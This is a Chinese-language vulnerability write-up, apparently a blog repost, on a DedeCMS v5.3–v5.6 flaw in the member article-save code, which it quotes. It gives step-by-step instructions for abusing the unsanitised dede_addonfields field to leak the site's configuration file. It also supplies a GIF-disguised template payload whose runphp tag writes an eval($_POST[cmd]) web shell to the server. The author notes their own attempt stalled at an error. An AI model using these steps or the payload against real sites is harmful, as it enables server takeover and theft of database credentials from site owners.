简要描述
在dedecms v5.3-v5.6 Get Shell 的基础上,作了修改,突破最新版本补丁,文件上传导致代码执行。
详细说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
|
else if($dopost=='save') { include(DEDEMEMBER.'/inc/archives_check_edit.php');
$inadd_f = ''; if(!empty($dede_addonfields)) { $addonfields = explode(';',$dede_addonfields); if(is_array($addonfields)) { foreach($addonfields as $v) { if($v=='') { continue; } $vs = explode(',',$v); if(!isset(${$vs[0]})) { ${$vs[0]} = ''; } ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' "; } } } $body = AnalyseHtmlBody($body,$description); $body = HtmlReplace($body,-1);
if($litpic!='') { $flag = 'p'; }
$upQuery = "Update `#@__archives` set ismake='$ismake', arcrank='$arcrank', typeid='$typeid', title='$title', litpic='$litpic', description='$description', keywords='$keywords', flag='$flag' where id='$aid' And mid='$mid'; "; if(!$dsql->ExecuteNoneQuery($upQuery)) { ShowMsg("把数据保存到数据库主表时出错,请联系管理员!".$dsql->GetError(),"-1"); exit(); } if($addtable!='') { $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; if(!$dsql->ExecuteNoneQuery($upQuery)) { ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;"); exit(); } $dsql->ExecuteNoneQuery("Update `#@__member_archives` set mtypeid = '$mtypesid' WHERE id = '$aid'"); } UpIndexKey($aid,$arcrank,$typeid,$sortrank,$tags); $artUrl = MakeArt($aid,true); if($artUrl=='') { $artUrl = $cfg_phpurl."/view.php?aid=$aid"; }
|
第10行变量$dede_addonfields 没有进行严格控制,$inadd_f可控(这是因为自定义模型所造成),没有限制用户所提交的信息,造成SQL注入漏洞。结合附加表数据自定义模板,造成爆任意文件源码漏洞。上传图片模板,可执行任意代码。
爆任意文件源码漏洞证明
首先要有发表文章的权限(不需要审核通过,只要有发表和预览权限),会员登录后点击添加文章然后选择编辑,firefox右键查看元素,找到隐藏的dede_addonfields,把hidden去掉设置为显示,并且增加一个表单变量templet,并设置templet变量为templet,dede_addonfields为../data/common.inc.php,点击提交
修改成功之后,直接点击查看文章,右键源代码就可以看到爆了/data/common.inc.php
配置文件的源码。
扩展利用
以附件形式上传任意设计的模板文件,利用dedecms标签语法在服务器解释执行,实现GetShell。
发表文章时,选择上传图片1.jpg,图片内容如下:
1 2 3 4 5
| GIF89aGIF89a {dede:name runphp='yes'} $fp = @fopen("1.php", 'a'); @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n"); @fclose($fp); {/dede:name}
|
上传图片成功后,点击附件管理->更改,得到jpg的链接地址/dedecms53/uploads/userup/2/1512O33W-3U9.jpg
。
利用爆任意文件的方法实现getshell.
getshell漏洞证明
我这里能构造代码,修改文章也成功了,但是弹出来了这个报错,没有实现最终getshell。
原文说参考原漏洞自己构造一个表单,加上验证码,上传的时候图片虽为白页面,但文件成功传上,下载官方最新版,在自搭建环境测试成功!
测试成功会在plus目录下创建一个1.php,成功getshell。
测试过这个漏洞的dalao,希望可以指点一下我。thanks…
原文链接:dedecms v5.3-v5.6 Get Shell